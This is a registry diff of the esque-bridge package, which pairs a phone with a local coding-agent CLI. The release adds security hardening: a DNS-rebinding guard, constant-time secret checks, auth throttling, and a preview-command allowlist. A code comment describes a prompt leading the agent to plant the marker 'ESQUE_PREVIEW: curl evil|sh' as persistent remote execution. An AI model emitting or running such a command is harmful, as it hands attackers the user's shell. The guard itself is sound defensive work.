esque-bridge 0.6.12 → 0.6.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +121 -18
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -116,6 +116,9 @@ function resolvePairingSecret() {
116
116
  const secret = gen();
117
117
  try {
118
118
  fs.writeFileSync(SECRET_FILE, secret, { mode: 0o600 });
119
+ // Re-assert perms explicitly (writeFileSync mode is masked by umask, and a
120
+ // pre-existing file keeps its old perms) — this is an RCE-grade secret.
121
+ try { fs.chmodSync(SECRET_FILE, 0o600); } catch { /* best effort */ }
119
122
  } catch (err) {
120
123
  console.warn(
121
124
  `[esque-bridge] could not persist pair secret to ${SECRET_FILE} ` +
@@ -555,10 +558,77 @@ app.use((req, res, next) => {
555
558
  next();
556
559
  });
557
560
 
561
+ // The current public tunnel host, set once the pair tunnel opens (see main).
562
+ let currentTunnelHost = null;
563
+
564
+ // DNS-rebinding guard. Legit traffic arrives either at localhost (local dev) or
565
+ // via the cloudflared/localtunnel host; a malicious web page that rebinds its
566
+ // OWN domain to 127.0.0.1:<port> cannot forge a matching Host header, so this
567
+ // blocks it from reaching even the unauthenticated probes (which would
568
+ // otherwise disclose the workdir folder name etc.).
569
+ const LOCAL_HOST_RE = /^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i;
570
+ const TUNNEL_HOST_RE = /\.(trycloudflare\.com|loca\.lt)(:\d+)?$/i;
571
+ app.use((req, res, next) => {
572
+ const host = String(req.headers.host || '');
573
+ if (
574
+ LOCAL_HOST_RE.test(host) ||
575
+ TUNNEL_HOST_RE.test(host) ||
576
+ (currentTunnelHost && host === currentTunnelHost)
577
+ ) {
578
+ return next();
579
+ }
580
+ return res.status(403).json({ error: 'forbidden_host' });
581
+ });
582
+
583
+ // Real client IP behind the tunnel (cloudflared/localtunnel forward it) so the
584
+ // auth throttle is per-attacker, not global (which an attacker could otherwise
585
+ // abuse to lock out the legit phone).
586
+ function clientIp(req) {
587
+ return (
588
+ req.headers['cf-connecting-ip'] ||
589
+ String(req.headers['x-forwarded-for'] || '').split(',')[0].trim() ||
590
+ req.ip ||
591
+ req.socket?.remoteAddress ||
592
+ 'unknown'
593
+ );
594
+ }
595
+
596
+ // Constant-time secret check (avoid a string-compare timing side-channel — the
597
+ // secret is the only thing standing between the public tunnel and your shell).
598
+ function secretMatches(provided) {
599
+ if (typeof provided !== 'string' || provided.length === 0) return false;
600
+ const a = Buffer.from(provided);
601
+ const b = Buffer.from(PAIRING_SECRET);
602
+ return a.length === b.length && crypto.timingSafeEqual(a, b);
603
+ }
604
+
605
+ // Per-IP failed-auth throttle: 128-bit secrets are infeasible to brute force,
606
+ // but a lockout makes that hold even if the entropy ever drops, and stops a
607
+ // noisy guesser hammering the bridge.
608
+ const authFails = new Map();
609
+ const AUTH_FAIL_MAX = 20;
610
+ const AUTH_FAIL_WINDOW = 60_000;
611
+ function authThrottled(ip) {
612
+ const now = Date.now();
613
+ const e = authFails.get(ip);
614
+ return !!e && e.resetAt > now && e.n >= AUTH_FAIL_MAX;
615
+ }
616
+ function noteAuthFail(ip) {
617
+ const now = Date.now();
618
+ if (authFails.size > 5000) for (const [k, v] of authFails) if (v.resetAt <= now) authFails.delete(k);
619
+ const e = authFails.get(ip);
620
+ if (!e || e.resetAt <= now) authFails.set(ip, { n: 1, resetAt: now + AUTH_FAIL_WINDOW });
621
+ else e.n += 1;
622
+ }
623
+
558
624
  // Directory identity the app binds a project to. Lets the phone detect when a
559
- // project is being re-pointed at a DIFFERENT folder, or scaffolded fresh onto
560
- // a folder that already has files — the two silent-mismatch foot-guns.
561
- function workdirInfo() {
625
+ // project is being re-pointed at a DIFFERENT folder. UNAUTHENTICATED callers
626
+ // get only the folder NAME + versionnever the absolute path (it leaks the OS
627
+ // username) or the directory contents.
628
+ function workdirInfo(authed) {
629
+ if (!authed) {
630
+ return { workdirName: path.basename(WORKDIR), version: BRIDGE_VERSION };
631
+ }
562
632
  let empty = false;
563
633
  let git = false;
564
634
  let entries = -1;
@@ -576,42 +646,42 @@ function workdirInfo() {
576
646
  empty,
577
647
  git,
578
648
  entries,
579
- // Lets the app detect a stale bridge and say "restart your bridge"
580
- // instead of silently degrading (older bridges lack newer self-healing).
581
649
  version: BRIDGE_VERSION,
582
650
  };
583
651
  }
584
652
 
585
- // Public health probe.
653
+ // Public health probe — minimal, unauthenticated.
586
654
  app.get('/', (_req, res) => {
587
655
  res.json({
588
656
  ok: true,
589
657
  service: 'esque-bridge',
590
658
  agent: AGENT_TYPE,
591
659
  agentLabel: adapter.label,
592
- sessions: Object.keys(sessionMap[AGENT_TYPE] ?? {}).length,
593
- ...workdirInfo(),
660
+ ...workdirInfo(false),
594
661
  });
595
662
  });
596
663
 
597
- // Connection-test probe — no auth required to confirm reachability, but if
598
- // the phone includes the pair secret we validate it and report back via
599
- // `paired` so the app can verify the secret BEFORE showing a green
600
- // "Paired" state. `paired` is true (match), false (wrong/stale secret), or
601
- // null (no secret sent — older app builds; we can't say either way). We also
602
- // return workdir identity so the app can warn on a folder mismatch.
664
+ // Connection-test probe — no auth required to confirm reachability, but if the
665
+ // phone includes the pair secret we validate it and report `paired` so the app
666
+ // can verify BEFORE showing green. Full workdir identity (path, git, entries)
667
+ // is returned ONLY when the secret matches (paired === true).
603
668
  app.post('/', (req, res, next) => {
604
669
  if (req.body && req.body._probe === true) {
605
670
  const provided = req.header('x-esque-pair') || req.body?.pairSecret;
606
- const paired = provided == null ? null : provided === PAIRING_SECRET;
607
- return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo() });
671
+ const paired = provided == null ? null : secretMatches(provided);
672
+ return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo(paired === true) });
608
673
  }
609
674
  return next();
610
675
  });
611
676
 
612
677
  function requireAuth(req, res, next) {
678
+ const ip = clientIp(req);
679
+ if (authThrottled(ip)) {
680
+ return res.status(429).json({ text: 'Too many attempts — wait a minute and try again.', status: 'blocked' });
681
+ }
613
682
  const provided = req.header('x-esque-pair') || req.body?.pairSecret;
614
- if (provided !== PAIRING_SECRET) {
683
+ if (!secretMatches(provided)) {
684
+ noteAuthFail(ip);
615
685
  return res.status(401).json({
616
686
  text:
617
687
  'Unauthorized. Pair this bridge with your phone by scanning the QR code from the terminal where esque-bridge is running.',
@@ -644,7 +714,30 @@ let preview = null; // { port, proc, kind, url, tunnel, tunnelProc }
644
714
  // revive the dev server + mint a fresh tunnel — the phone then resolves the
645
715
  // current URL via GET /preview instead of trusting the dead one.
646
716
  const PREVIEWS_FILE = path.join(os.homedir(), '.esque-bridge-previews.json');
717
+
718
+ // SECURITY: the preview command comes from the agent's reply (the ESQUE_PREVIEW
719
+ // marker) and is run via `sh -c` — and persisted + auto-replayed on every
720
+ // restart. Without a guard, a single prompt could plant
721
+ // `ESQUE_PREVIEW: curl evil|sh` as a persistent, headless RCE. So we only ever
722
+ // run/persist a command that looks like a real dev-server start: each
723
+ // `&&`-separated step must begin with an allowlisted tool, and the whole
724
+ // string must be free of pipes, redirects, sequencing, subshells, and command
725
+ // substitution (we DO allow `&&` chaining and flags). This bounds it to the
726
+ // shapes the blueprints actually emit (npm/npx expo/next/vite) and rejects the
727
+ // arbitrary-shell case.
728
+ const PREVIEW_TOOL = /^(npm|npx|yarn|pnpm|bun|expo|next|vite|node)(\s|$)/;
729
+ function isSafePreviewCmd(cmd) {
730
+ if (typeof cmd !== 'string' || cmd.length === 0 || cmd.length > 400) return false;
731
+ if (/[\n\r;`|<>]/.test(cmd)) return false; // sequencing/pipe/redirect/backtick
732
+ if (/\$\(|\$\{/.test(cmd)) return false; // command/var substitution
733
+ if (/(^|[^&])&($|[^&])/.test(cmd)) return false; // a lone & (background); && is allowed
734
+ const steps = cmd.split('&&').map((s) => s.trim()).filter(Boolean);
735
+ if (steps.length === 0 || steps.length > 6) return false;
736
+ return steps.every((s) => PREVIEW_TOOL.test(s));
737
+ }
738
+
647
739
  function savePreviewCmd(cmd, port) {
740
+ if (!isSafePreviewCmd(cmd)) return; // never persist an un-vettable command
648
741
  try {
649
742
  let all = {};
650
743
  try { all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8')); } catch { /* first run */ }
@@ -658,7 +751,9 @@ function loadPreviewCmd() {
658
751
  try {
659
752
  const all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8'));
660
753
  const e = all[WORKDIR];
661
- if (e && typeof e.cmd === 'string' && Number.isInteger(e.port)) return e;
754
+ // Re-validate on read too a hand-edited or pre-guard previews file must
755
+ // not auto-replay something unsafe on boot.
756
+ if (e && isSafePreviewCmd(e.cmd) && Number.isInteger(e.port)) return e;
662
757
  } catch { /* none saved */ }
663
758
  return null;
664
759
  }
@@ -944,6 +1039,12 @@ async function ensureDeps() {
944
1039
 
945
1040
  async function startPreview(cmd, port) {
946
1041
  killPreview();
1042
+ // SECURITY: refuse any preview command that isn't a recognizable dev-server
1043
+ // start (see isSafePreviewCmd) — never hand arbitrary shell to `sh -c`.
1044
+ if (!isSafePreviewCmd(cmd)) {
1045
+ console.error(`[preview] refused unsafe preview command: ${String(cmd).slice(0, 120)}`);
1046
+ return { url: null, buildError: 'Esque only runs a recognized dev-server start command for the preview (npm/expo/next/vite). The requested command was refused for safety.' };
1047
+ }
947
1048
  // Make sure node_modules exists before the dev server tries to boot. A
948
1049
  // failed install IS the build error — surface the npm cause to the phone
949
1050
  // (and the auto-fix loop, which can repair package.json) instead of letting
@@ -1454,6 +1555,8 @@ async function main() {
1454
1555
  if (tunnel.kind === 'localtunnel') {
1455
1556
  console.log(' (Using localtunnel — install cloudflared for a faster, steadier tunnel: brew install cloudflared)');
1456
1557
  }
1558
+ // Allow this tunnel's host through the DNS-rebinding guard.
1559
+ try { currentTunnelHost = new URL(tunnel.url).host; } catch { /* keep null */ }
1457
1560
 
1458
1561
  const pairUrl = `esque://pair?url=${encodeURIComponent(tunnel.url)}&secret=${PAIRING_SECRET}&agent=${AGENT_TYPE}`;
1459
1562
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "esque-bridge",
3
- "version": "0.6.12",
3
+ "version": "0.6.13",
4
4
  "description": "Desktop-side receiver for the Esque Agent mobile app. Pairs your phone with a local coding-agent CLI (Claude Code, Codex, Aider, or any custom command) via a tunnel + QR code, so prompts run through your subscription instead of per-token API billing.",
5
5
  "bin": {
6
6
  "esque-bridge": "index.js"